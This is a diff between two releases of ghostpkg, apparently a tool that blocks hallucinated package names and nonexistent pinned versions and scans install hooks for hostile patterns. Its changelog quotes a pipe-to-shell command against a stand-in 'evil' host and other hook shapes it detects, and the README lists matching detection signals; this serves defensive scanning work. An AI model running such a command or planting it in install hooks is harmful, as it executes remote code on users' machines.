ghostpkg 0.7.0__tar.gz → 0.9.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/CHANGELOG.md +63 -1
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/PKG-INFO +28 -5
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/README.en.md +27 -4
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/README.md +19 -4
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/__init__.py +1 -1
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/assess.py +50 -1
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/cache.py +17 -5
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/cli.py +104 -40
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/inspection.py +135 -22
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/manifests.py +210 -42
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/registries.py +64 -17
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/pyproject.toml +1 -1
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/tests/test_cache.py +20 -9
- ghostpkg-0.9.0/tests/test_lockfiles.py +138 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/tests/test_manifests.py +42 -36
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/tests/test_regressions.py +46 -13
- ghostpkg-0.9.0/tests/test_versions.py +205 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.github/ISSUE_TEMPLATE/bug.yml +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.github/ISSUE_TEMPLATE/false-positive.yml +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.github/ISSUE_TEMPLATE/missed-package.yml +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.github/workflows/ci.yml +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.gitignore +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/2.0 +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/CONTRIBUTING.md +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/LICENSE +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/SECURITY.md +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/assets/banner.html +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/assets/banner.png +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/assets/demo.gif +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/assets/make_demo.py +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/__main__.py +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/data.py +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/tests/test_assess.py +0 -0
- {ghostpkg-0.7.0 → ghostpkg-0.9.0}/tests/test_inspection.py +0 -0
|
@@ -6,6 +6,66 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
|
6
6
|
|
|
7
7
|
## [Unreleased]
|
|
8
8
|
|
|
9
|
+
## [0.9.0] - 2026-09-01
|
|
10
|
+
|
|
11
|
+
### Added
|
|
12
|
+
- **Lockfiles.** `package-lock.json` (both the v1 nested and v2/v3 `packages`
|
|
13
|
+
layouts), `poetry.lock` and `uv.lock`. This matters more than the manifest
|
|
14
|
+
formats already supported: CI installs from the lockfile, so it holds the
|
|
15
|
+
names that actually get fetched, including transitive ones a manifest never
|
|
16
|
+
mentions. Every entry is version-pinned, so all of them are checkable.
|
|
17
|
+
- **`scan` takes several files at once**, and they may be different
|
|
18
|
+
ecosystems: `ghostpkg scan requirements.txt package.json package-lock.json`.
|
|
19
|
+
A dependency repeated across files costs one lookup, not one per file.
|
|
20
|
+
- **Retry with backoff on rate limiting.** Registries answer 429 and 503 under
|
|
21
|
+
load, and giving up immediately turned a busy moment into a failed run.
|
|
22
|
+
`Retry-After` is honoured when sent, capped at 30 seconds.
|
|
23
|
+
- `--workers N` and `--timeout SECONDS`, which were fixed constants.
|
|
24
|
+
|
|
25
|
+
### Changed
|
|
26
|
+
- **New exit code `3`: nothing was scanned.** A manifest that yielded no
|
|
27
|
+
dependencies exited `0`, which reads as "checked, all clean" in CI. `0` now
|
|
28
|
+
means checked and clean, `3` means there was nothing to check.
|
|
29
|
+
|
|
30
|
+
## [0.8.0] - 2026-09-01
|
|
31
|
+
|
|
32
|
+
### Added
|
|
33
|
+
- **Pinned versions are checked.** `requests==99.99.99` used to come back "ok"
|
|
34
|
+
because only the name was looked up. A version a model invented is the same
|
|
35
|
+
class of mistake as a name it invented, and just as precise to check: the
|
|
36
|
+
registry response already lists every real version, so this costs nothing
|
|
37
|
+
extra. Only exact pins are checked -- `==1.2.3` on PyPI, a bare `1.2.3` on
|
|
38
|
+
npm. Ranges like `>=2.31` or `^4.18.0` may be satisfied by some other
|
|
39
|
+
version, so there is nothing definite to say about them.
|
|
40
|
+
- `ghostpkg check requests==2.31.0` accepts a pin on the command line too.
|
|
41
|
+
|
|
42
|
+
### Fixed
|
|
43
|
+
- **`--deep` missed essentially every realistic malicious npm hook.** The
|
|
44
|
+
patterns were written for Python and JavaScript *source*, but npm install
|
|
45
|
+
hooks are *shell commands*. `curl http://evil | sh` carries no `curl -` flag
|
|
46
|
+
to match, `node -e` is not `eval(`, and `powershell -c IWR` looks nothing
|
|
47
|
+
like `urllib.request`. All six shapes now match, and nine ordinary hooks
|
|
48
|
+
(`tsc`, `node-gyp rebuild`, `husky install`, …) stay clean.
|
|
49
|
+
- **`"postinstall": "node install.js"` is now followed.** It is the commonest
|
|
50
|
+
shape of all, and the code that matters is in the file it names, which was
|
|
51
|
+
never read.
|
|
52
|
+
- **`--deep` no longer passes a package it could not inspect.** A package with
|
|
53
|
+
no source archive, or one larger than the size limit, was silently treated
|
|
54
|
+
like a clean result -- so padding an archive was a way to switch `--deep` off
|
|
55
|
+
from the outside. It now says so and warns.
|
|
56
|
+
- **A negative result is never cached.** Caching it for an hour seemed safe
|
|
57
|
+
until a real case appeared: PyPI's RSS announces a package a moment before
|
|
58
|
+
its JSON API serves it, so a lookup 404s, and a legitimately published
|
|
59
|
+
package was then reported as non-existent for the rest of the hour. A stale
|
|
60
|
+
block is the worst failure this tool has. Positive results are still cached.
|
|
61
|
+
- **The reported nearest name is deterministic.** Iterating a frozenset has no
|
|
62
|
+
defined order, so `cjson` came back as `ujson` or `ijson` depending on
|
|
63
|
+
`PYTHONHASHSEED`.
|
|
64
|
+
|
|
65
|
+
### Changed
|
|
66
|
+
- The parser now carries each dependency's version specifier and line number
|
|
67
|
+
rather than the bare name.
|
|
68
|
+
|
|
9
69
|
## [0.7.0] - 2026-09-01
|
|
10
70
|
|
|
11
71
|
A correctness release. Several of these were **silent** failures -- the tool
|
|
@@ -244,7 +304,9 @@ First release.
|
|
|
244
304
|
- No corpus of hallucinated package names is shipped, following the decision of
|
|
245
305
|
the USENIX'25 authors not to publish theirs.
|
|
246
306
|
|
|
247
|
-
[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.
|
|
307
|
+
[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.9.0...HEAD
|
|
308
|
+
[0.9.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.9.0
|
|
309
|
+
[0.8.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.8.0
|
|
248
310
|
[0.7.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.7.0
|
|
249
311
|
[0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
|
|
250
312
|
[0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.5
|
|
2
2
|
Name: ghostpkg
|
|
3
|
-
Version: 0.
|
|
3
|
+
Version: 0.9.0
|
|
4
4
|
Summary: Catch package names that do not exist before you install them
|
|
5
5
|
Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
|
|
6
6
|
Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues
|
|
@@ -151,6 +151,7 @@ Requires Python 3.9+. Tested on Linux, macOS and Windows.
|
|
|
151
151
|
|
|
152
152
|
```bash
|
|
153
153
|
ghostpkg check fastapi-middleware pandas-utils
|
|
154
|
+
ghostpkg check requests==99.99.99 # pins are checked too
|
|
154
155
|
ghostpkg check react-router-dom-utils -e npm
|
|
155
156
|
```
|
|
156
157
|
|
|
@@ -166,7 +167,20 @@ ghostpkg scan package.json
|
|
|
166
167
|
|---|---|
|
|
167
168
|
| `requirements*.txt` | Every requirement line. Comments, flags, VCS URLs and direct links are skipped. |
|
|
168
169
|
| `pyproject.toml` | PEP 621 `project.dependencies` and `project.optional-dependencies`, plus Poetry's `tool.poetry` groups. `[build-system] requires` is not included, and the `python` constraint is not treated as a package. |
|
|
169
|
-
| `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`. |
|
|
170
|
+
| `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`, `peerDependencies`. |
|
|
171
|
+
| `package-lock.json` | Every locked package, both the v1 nested and v2/v3 `packages` layouts. Workspace links are skipped. |
|
|
172
|
+
| `poetry.lock`, `uv.lock` | Every locked package. |
|
|
173
|
+
|
|
174
|
+
Lockfiles are worth scanning even when you already scan the manifest: CI
|
|
175
|
+
installs from the lockfile, so it holds the names that actually get fetched --
|
|
176
|
+
including transitive ones the manifest never mentions -- and every entry is
|
|
177
|
+
version-pinned, so all of them are checkable.
|
|
178
|
+
|
|
179
|
+
Several files can be scanned in one run, and they may be different ecosystems:
|
|
180
|
+
|
|
181
|
+
```bash
|
|
182
|
+
ghostpkg scan requirements.txt package.json package-lock.json
|
|
183
|
+
```
|
|
170
184
|
|
|
171
185
|
Anything else is **refused with an error rather than guessed at**. Guessing is
|
|
172
186
|
what made an earlier version read `pyproject.toml` with the requirements parser
|
|
@@ -182,6 +196,8 @@ and report TOML keys as package names.
|
|
|
182
196
|
| `-q`, `--quiet` | Hide packages that passed |
|
|
183
197
|
| `--no-cache` | Neither read nor write the cache |
|
|
184
198
|
| `--deep` | Download recently published packages and statically inspect their install scripts |
|
|
199
|
+
| `--workers N` | Parallel lookups (default 8) |
|
|
200
|
+
| `--timeout SECONDS` | Per-request timeout |
|
|
185
201
|
| `--version` | Print the version |
|
|
186
202
|
|
|
187
203
|
### Exit codes
|
|
@@ -190,7 +206,8 @@ and report TOML keys as package names.
|
|
|
190
206
|
|---|---|
|
|
191
207
|
| `0` | Nothing blocked (warnings may still be present) |
|
|
192
208
|
| `1` | At least one package blocked |
|
|
193
|
-
| `2` | Usage error, unreadable manifest, or
|
|
209
|
+
| `2` | Usage error, unreadable manifest, or a name could not be checked |
|
|
210
|
+
| `3` | Nothing was scanned — no dependencies found. Distinct from "checked and clean". |
|
|
194
211
|
|
|
195
212
|
### Caching
|
|
196
213
|
|
|
@@ -234,6 +251,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
|
|
|
234
251
|
| Signal | Verdict | Why |
|
|
235
252
|
|---|---|---|
|
|
236
253
|
| Not in the registry | 🔴 **Blocked** | The name is a ghost. There is nothing to install, and this is exactly what a hallucination looks like. |
|
|
254
|
+
| A pinned version that does not exist | 🔴 **Blocked** | `requests==99.99.99`. A model invents versions as readily as names, and the registry lists every real one, so this is a lookup rather than a heuristic. Only exact pins are checked — a range like `>=2.31` or `^4.18.0` may be satisfied by some other version. |
|
|
237
255
|
| First published < 90 days ago | 🟡 Warning | Attackers register fast. So do honest authors — hence a warning, not a block. |
|
|
238
256
|
| First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
|
|
239
257
|
| Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
|
|
@@ -365,13 +383,18 @@ ghostpkg scan requirements.txt --deep
|
|
|
365
383
|
```
|
|
366
384
|
|
|
367
385
|
`--deep` downloads the archive **only for recently published packages**, reads
|
|
368
|
-
only `setup.py` from it (or the install hooks out of `package.json
|
|
369
|
-
pattern-matches the text.
|
|
386
|
+
only `setup.py` from it (or the install hooks out of `package.json`, plus any
|
|
387
|
+
script those hooks name), and pattern-matches the text. npm hooks are matched
|
|
388
|
+
against shell-command patterns rather than source-code ones, because that is
|
|
389
|
+
what they are. If a package cannot be inspected — no source archive, or an
|
|
390
|
+
archive over the size limit — it says so rather than passing quietly. **Nothing is ever executed.** Archive and member sizes
|
|
370
391
|
are capped, so a decompression bomb cannot exhaust memory.
|
|
371
392
|
|
|
372
393
|
| Signal | What it means |
|
|
373
394
|
|---|---|
|
|
374
395
|
| `exfiltration` | Reads environment variables *and* contacts the network |
|
|
396
|
+
| `pipe-to-shell` | Downloads a script and pipes it straight into a shell (npm hooks) |
|
|
397
|
+
| `inline-script` | Runs code passed on the command line, e.g. `node -e` (npm hooks) |
|
|
375
398
|
| `network` | Makes a network request during install |
|
|
376
399
|
| `subprocess` | Runs a shell command during install |
|
|
377
400
|
| `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
|
|
@@ -104,6 +104,7 @@ Requires Python 3.9+. Tested on Linux, macOS and Windows.
|
|
|
104
104
|
|
|
105
105
|
```bash
|
|
106
106
|
ghostpkg check fastapi-middleware pandas-utils
|
|
107
|
+
ghostpkg check requests==99.99.99 # pins are checked too
|
|
107
108
|
ghostpkg check react-router-dom-utils -e npm
|
|
108
109
|
```
|
|
109
110
|
|
|
@@ -119,7 +120,20 @@ ghostpkg scan package.json
|
|
|
119
120
|
|---|---|
|
|
120
121
|
| `requirements*.txt` | Every requirement line. Comments, flags, VCS URLs and direct links are skipped. |
|
|
121
122
|
| `pyproject.toml` | PEP 621 `project.dependencies` and `project.optional-dependencies`, plus Poetry's `tool.poetry` groups. `[build-system] requires` is not included, and the `python` constraint is not treated as a package. |
|
|
122
|
-
| `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`. |
|
|
123
|
+
| `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`, `peerDependencies`. |
|
|
124
|
+
| `package-lock.json` | Every locked package, both the v1 nested and v2/v3 `packages` layouts. Workspace links are skipped. |
|
|
125
|
+
| `poetry.lock`, `uv.lock` | Every locked package. |
|
|
126
|
+
|
|
127
|
+
Lockfiles are worth scanning even when you already scan the manifest: CI
|
|
128
|
+
installs from the lockfile, so it holds the names that actually get fetched --
|
|
129
|
+
including transitive ones the manifest never mentions -- and every entry is
|
|
130
|
+
version-pinned, so all of them are checkable.
|
|
131
|
+
|
|
132
|
+
Several files can be scanned in one run, and they may be different ecosystems:
|
|
133
|
+
|
|
134
|
+
```bash
|
|
135
|
+
ghostpkg scan requirements.txt package.json package-lock.json
|
|
136
|
+
```
|
|
123
137
|
|
|
124
138
|
Anything else is **refused with an error rather than guessed at**. Guessing is
|
|
125
139
|
what made an earlier version read `pyproject.toml` with the requirements parser
|
|
@@ -135,6 +149,8 @@ and report TOML keys as package names.
|
|
|
135
149
|
| `-q`, `--quiet` | Hide packages that passed |
|
|
136
150
|
| `--no-cache` | Neither read nor write the cache |
|
|
137
151
|
| `--deep` | Download recently published packages and statically inspect their install scripts |
|
|
152
|
+
| `--workers N` | Parallel lookups (default 8) |
|
|
153
|
+
| `--timeout SECONDS` | Per-request timeout |
|
|
138
154
|
| `--version` | Print the version |
|
|
139
155
|
|
|
140
156
|
### Exit codes
|
|
@@ -143,7 +159,8 @@ and report TOML keys as package names.
|
|
|
143
159
|
|---|---|
|
|
144
160
|
| `0` | Nothing blocked (warnings may still be present) |
|
|
145
161
|
| `1` | At least one package blocked |
|
|
146
|
-
| `2` | Usage error, unreadable manifest, or
|
|
162
|
+
| `2` | Usage error, unreadable manifest, or a name could not be checked |
|
|
163
|
+
| `3` | Nothing was scanned — no dependencies found. Distinct from "checked and clean". |
|
|
147
164
|
|
|
148
165
|
### Caching
|
|
149
166
|
|
|
@@ -187,6 +204,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
|
|
|
187
204
|
| Signal | Verdict | Why |
|
|
188
205
|
|---|---|---|
|
|
189
206
|
| Not in the registry | 🔴 **Blocked** | The name is a ghost. There is nothing to install, and this is exactly what a hallucination looks like. |
|
|
207
|
+
| A pinned version that does not exist | 🔴 **Blocked** | `requests==99.99.99`. A model invents versions as readily as names, and the registry lists every real one, so this is a lookup rather than a heuristic. Only exact pins are checked — a range like `>=2.31` or `^4.18.0` may be satisfied by some other version. |
|
|
190
208
|
| First published < 90 days ago | 🟡 Warning | Attackers register fast. So do honest authors — hence a warning, not a block. |
|
|
191
209
|
| First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
|
|
192
210
|
| Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
|
|
@@ -318,13 +336,18 @@ ghostpkg scan requirements.txt --deep
|
|
|
318
336
|
```
|
|
319
337
|
|
|
320
338
|
`--deep` downloads the archive **only for recently published packages**, reads
|
|
321
|
-
only `setup.py` from it (or the install hooks out of `package.json
|
|
322
|
-
pattern-matches the text.
|
|
339
|
+
only `setup.py` from it (or the install hooks out of `package.json`, plus any
|
|
340
|
+
script those hooks name), and pattern-matches the text. npm hooks are matched
|
|
341
|
+
against shell-command patterns rather than source-code ones, because that is
|
|
342
|
+
what they are. If a package cannot be inspected — no source archive, or an
|
|
343
|
+
archive over the size limit — it says so rather than passing quietly. **Nothing is ever executed.** Archive and member sizes
|
|
323
344
|
are capped, so a decompression bomb cannot exhaust memory.
|
|
324
345
|
|
|
325
346
|
| Signal | What it means |
|
|
326
347
|
|---|---|
|
|
327
348
|
| `exfiltration` | Reads environment variables *and* contacts the network |
|
|
349
|
+
| `pipe-to-shell` | Downloads a script and pipes it straight into a shell (npm hooks) |
|
|
350
|
+
| `inline-script` | Runs code passed on the command line, e.g. `node -e` (npm hooks) |
|
|
328
351
|
| `network` | Makes a network request during install |
|
|
329
352
|
| `subprocess` | Runs a shell command during install |
|
|
330
353
|
| `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
|
|
@@ -73,8 +73,8 @@ pipx install ghostpkg # ізольовано, глобальна ко
|
|
|
73
73
|
## Використання
|
|
74
74
|
|
|
75
75
|
```bash
|
|
76
|
-
# перевірити конкретні назви
|
|
77
|
-
ghostpkg check fastapi-middleware
|
|
76
|
+
# перевірити конкретні назви (можна із закріпленою версією)
|
|
77
|
+
ghostpkg check fastapi-middleware requests==99.99.99
|
|
78
78
|
|
|
79
79
|
# перевірити назву в npm
|
|
80
80
|
ghostpkg check react-router-dom-utils -e npm
|
|
@@ -104,9 +104,23 @@ ghostpkg clear-cache
|
|
|
104
104
|
| `-q`, `--quiet` | Ховає пакети, які пройшли перевірку |
|
|
105
105
|
| `--no-cache` | Не читати й не писати кеш |
|
|
106
106
|
| `--deep` | Завантажити свіжі пакети й статично перевірити їхні скрипти встановлення |
|
|
107
|
+
| `--workers N` | Скільки запитів паралельно (типово 8) |
|
|
108
|
+
| `--timeout SECONDS` | Тайм-аут на запит |
|
|
107
109
|
|
|
108
|
-
`scan` розпізнає `requirements*.txt`, `pyproject.toml` (PEP 621 і Poetry)
|
|
109
|
-
|
|
110
|
+
`scan` розпізнає `requirements*.txt`, `pyproject.toml` (PEP 621, PEP 735 і Poetry),
|
|
111
|
+
`package.json`, а також **lock-файли**: `package-lock.json`, `poetry.lock`, `uv.lock`.
|
|
112
|
+
Невідомий формат він **відхиляє з помилкою, а не вгадує**.
|
|
113
|
+
|
|
114
|
+
Lock-файли варто перевіряти навіть якщо ви вже перевіряєте маніфест: **CI
|
|
115
|
+
встановлює саме з них**, тож там лежать імена, які справді завантажуються —
|
|
116
|
+
включно з транзитивними, яких у маніфесті немає. І кожен запис має точну версію,
|
|
117
|
+
отже перевіряється повністю.
|
|
118
|
+
|
|
119
|
+
Можна передати кілька файлів одразу, навіть із різних екосистем:
|
|
120
|
+
|
|
121
|
+
```bash
|
|
122
|
+
ghostpkg scan requirements.txt package.json package-lock.json
|
|
123
|
+
```
|
|
110
124
|
|
|
111
125
|
---
|
|
112
126
|
|
|
@@ -115,6 +129,7 @@ ghostpkg clear-cache
|
|
|
115
129
|
| Сигнал | Вердикт |
|
|
116
130
|
|---|---|
|
|
117
131
|
| Немає в реєстрі | 🔴 **Заблоковано.** Назва — привид, встановлювати нічого. |
|
|
132
|
+
| Закріплена версія не існує (`requests==99.99.99`) | 🔴 **Заблоковано.** Вигадана версія — той самий клас помилки, що й вигадана назва. Діапазони (`>=2.31`, `^4.18`) не перевіряються: їх може задовольнити інша версія. |
|
|
118
133
|
| Опубліковано днями тому | 🟡 Попередження. Зловмисники реєструють швидко — але й чесні автори теж. |
|
|
119
134
|
| Лише один реліз | 🟡 Попередження. |
|
|
120
135
|
| Немає посилання на репозиторій | 🟡 Попередження. |
|
|
@@ -15,6 +15,7 @@ that installs new packages.
|
|
|
15
15
|
|
|
16
16
|
from __future__ import annotations
|
|
17
17
|
|
|
18
|
+
import re
|
|
18
19
|
from dataclasses import dataclass, field
|
|
19
20
|
from enum import Enum
|
|
20
21
|
|
|
@@ -24,6 +25,25 @@ from .registries import PackageFacts
|
|
|
24
25
|
YOUNG_DAYS = 90
|
|
25
26
|
NEW_DAYS = 365
|
|
26
27
|
|
|
28
|
+
# An exact pin, and only an exact pin. `>=`, `^`, `~` and wildcards describe a
|
|
29
|
+
# range that the registry may satisfy with some other version, so there is
|
|
30
|
+
# nothing definite to check. `==1.2.3` either exists or it does not.
|
|
31
|
+
PYPI_PIN = re.compile(r"^\s*==\s*([A-Za-z0-9][A-Za-z0-9.\-+!]*)\s*$")
|
|
32
|
+
NPM_PIN = re.compile(r"^\s*v?(\d+\.\d+\.\d+(?:[-+][A-Za-z0-9.\-]+)?)\s*$")
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
def exact_pin(specifier: str | None, ecosystem: str) -> str | None:
|
|
36
|
+
"""The single version a specifier demands, if it demands exactly one."""
|
|
37
|
+
if not specifier:
|
|
38
|
+
return None
|
|
39
|
+
pattern = NPM_PIN if ecosystem == "npm" else PYPI_PIN
|
|
40
|
+
match = pattern.match(specifier)
|
|
41
|
+
if not match:
|
|
42
|
+
return None
|
|
43
|
+
version = match.group(1)
|
|
44
|
+
# `==1.2.*` is a range wearing a pin's clothes.
|
|
45
|
+
return None if "*" in version else version
|
|
46
|
+
|
|
27
47
|
|
|
28
48
|
class Verdict(str, Enum):
|
|
29
49
|
OK = "OK"
|
|
@@ -88,6 +108,15 @@ def edit_distance(left: str, right: str, cutoff: int = 3) -> int:
|
|
|
88
108
|
|
|
89
109
|
POPULAR: dict[str, frozenset[str]] = {"pypi": TOP_PYPI, "npm": TOP_NPM}
|
|
90
110
|
|
|
111
|
+
# Iterating a frozenset has no defined order, so with several candidates at the
|
|
112
|
+
# same distance the reported neighbour changed between runs -- `cjson` came back
|
|
113
|
+
# as `ujson` or `ijson` depending on PYTHONHASHSEED. The verdict was stable and
|
|
114
|
+
# only the explanation moved, but unreproducible output is a poor look on a
|
|
115
|
+
# security tool. Membership tests still use the sets above.
|
|
116
|
+
POPULAR_ORDERED: dict[str, tuple[str, ...]] = {
|
|
117
|
+
ecosystem: tuple(sorted(names)) for ecosystem, names in POPULAR.items()
|
|
118
|
+
}
|
|
119
|
+
|
|
91
120
|
MIN_COMPARABLE_LENGTH = 5
|
|
92
121
|
|
|
93
122
|
|
|
@@ -131,7 +160,7 @@ def nearest_popular(name: str, ecosystem: str = "pypi") -> tuple[str, int] | Non
|
|
|
131
160
|
|
|
132
161
|
budget = _typo_budget(target)
|
|
133
162
|
best: tuple[str, int] | None = None
|
|
134
|
-
for candidate in
|
|
163
|
+
for candidate in POPULAR_ORDERED[ecosystem]:
|
|
135
164
|
if abs(len(candidate) - len(target)) > budget:
|
|
136
165
|
continue
|
|
137
166
|
distance = edit_distance(target, candidate, cutoff=budget)
|
|
@@ -146,6 +175,7 @@ def assess(
|
|
|
146
175
|
facts: PackageFacts,
|
|
147
176
|
strict: bool = False,
|
|
148
177
|
signals: "list | None" = None,
|
|
178
|
+
specifier: str | None = None,
|
|
149
179
|
) -> Finding:
|
|
150
180
|
"""Turn registry facts, and optionally --deep install-script signals, into
|
|
151
181
|
a verdict.
|
|
@@ -171,6 +201,25 @@ def assess(
|
|
|
171
201
|
facts=facts,
|
|
172
202
|
)
|
|
173
203
|
|
|
204
|
+
# A pinned version that does not exist is the same class of mistake as a
|
|
205
|
+
# name that does not exist, and just as precise: the registry lists every
|
|
206
|
+
# real version, so this is a lookup, not a heuristic. It blocks for the
|
|
207
|
+
# same reason non-existence does.
|
|
208
|
+
pin = exact_pin(specifier, facts.ecosystem)
|
|
209
|
+
if pin is not None and facts.has_version(pin) is False:
|
|
210
|
+
return Finding(
|
|
211
|
+
name=facts.name,
|
|
212
|
+
ecosystem=facts.ecosystem,
|
|
213
|
+
verdict=Verdict.BLOCK,
|
|
214
|
+
reasons=[
|
|
215
|
+
f"version {pin} does not exist "
|
|
216
|
+
f"(latest is {facts.latest_version})"
|
|
217
|
+
if facts.latest_version
|
|
218
|
+
else f"version {pin} does not exist"
|
|
219
|
+
],
|
|
220
|
+
facts=facts,
|
|
221
|
+
)
|
|
222
|
+
|
|
174
223
|
reasons: list[str] = []
|
|
175
224
|
|
|
176
225
|
if facts.age_days is not None:
|
|
@@ -4,10 +4,19 @@ Scanning a manifest costs one request per dependency, every time. A 200-line
|
|
|
4
4
|
requirements.txt in CI is 200 requests on every run, which is slow for the user
|
|
5
5
|
and rude to the registry.
|
|
6
6
|
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
7
|
+
**"Does not exist" is never cached.** That answer is the only one that blocks,
|
|
8
|
+
so it must always be fresh. Caching it briefly seemed safe until a real case
|
|
9
|
+
turned up: PyPI's RSS feed announces a package a moment before its JSON API
|
|
10
|
+
serves it, so a lookup lands on a 404, and a legitimately published package
|
|
11
|
+
was then reported as non-existent for the rest of the hour. A stale block is
|
|
12
|
+
the worst failure this tool has, and a missing name is rare enough in a real
|
|
13
|
+
manifest that re-checking costs almost nothing.
|
|
14
|
+
|
|
15
|
+
The reverse direction argues the same way: a name that is free right now can be
|
|
16
|
+
registered at any moment, and that is the entire attack. Either way, the
|
|
17
|
+
blocking signal is the one that must not come from a cache.
|
|
18
|
+
|
|
19
|
+
Positive answers are cached, since an established package changes slowly.
|
|
11
20
|
|
|
12
21
|
Cache failures are never fatal. An unwritable or corrupt cache degrades to no
|
|
13
22
|
cache at all rather than breaking a build.
|
|
@@ -29,7 +38,7 @@ from .registries import PackageFacts
|
|
|
29
38
|
|
|
30
39
|
SCHEMA = 1
|
|
31
40
|
|
|
32
|
-
TTL_MISSING =
|
|
41
|
+
TTL_MISSING = 0 # never cached -- see the module docstring
|
|
33
42
|
TTL_YOUNG = 6 * 60 * 60 # 6 hours -- facts still moving
|
|
34
43
|
TTL_ESTABLISHED = 24 * 60 * 60 # 1 day -- changes slowly
|
|
35
44
|
|
|
@@ -149,6 +158,9 @@ class Cache:
|
|
|
149
158
|
def put(self, facts: PackageFacts) -> None:
|
|
150
159
|
if not self.enabled:
|
|
151
160
|
return
|
|
161
|
+
# Never store a negative: it is the answer that blocks.
|
|
162
|
+
if not facts.exists:
|
|
163
|
+
return
|
|
152
164
|
entry = {
|
|
153
165
|
"at": time.time(),
|
|
154
166
|
"ttl": ttl_for(facts),
|
|
@@ -13,12 +13,16 @@ from . import __version__
|
|
|
13
13
|
from .assess import NEW_DAYS, Finding, Verdict, assess
|
|
14
14
|
from .cache import Cache
|
|
15
15
|
from .inspection import InspectionError, inspect_package
|
|
16
|
-
from .manifests import UnsupportedManifest, load_manifest
|
|
16
|
+
from .manifests import Requirement, UnsupportedManifest, load_manifest, parse_requirements
|
|
17
|
+
from . import registries
|
|
17
18
|
from .registries import RegistryError, fetch
|
|
18
19
|
|
|
19
20
|
EXIT_OK = 0
|
|
20
21
|
EXIT_BLOCKED = 1
|
|
21
22
|
EXIT_ERROR = 2
|
|
23
|
+
#: Nothing was found to check. Distinct from "checked, all clean", because a
|
|
24
|
+
#: manifest we failed to understand used to exit 0 and read as a pass in CI.
|
|
25
|
+
EXIT_NOTHING_SCANNED = 3
|
|
22
26
|
|
|
23
27
|
MAX_WORKERS = 8
|
|
24
28
|
|
|
@@ -97,13 +101,19 @@ def summarise(findings: list[Finding], palette: Palette) -> None:
|
|
|
97
101
|
|
|
98
102
|
|
|
99
103
|
def evaluate(
|
|
100
|
-
|
|
104
|
+
requirements: "list[Requirement] | list[str]",
|
|
101
105
|
ecosystem: str,
|
|
102
106
|
strict: bool,
|
|
103
107
|
cache: Cache | None = None,
|
|
104
108
|
deep: bool = False,
|
|
109
|
+
workers: int = MAX_WORKERS,
|
|
105
110
|
) -> list[Finding]:
|
|
106
|
-
|
|
111
|
+
items = [
|
|
112
|
+
r if isinstance(r, Requirement) else Requirement(name=r) for r in requirements
|
|
113
|
+
]
|
|
114
|
+
|
|
115
|
+
def one(requirement: Requirement) -> Finding:
|
|
116
|
+
name = requirement.name
|
|
107
117
|
# A failure on one name must not discard the whole scan. It used to:
|
|
108
118
|
# pool.map re-raised the first exception while iterating, throwing away
|
|
109
119
|
# every confirmed BLOCK alongside it and skipping the cache write, so
|
|
@@ -124,32 +134,47 @@ def evaluate(
|
|
|
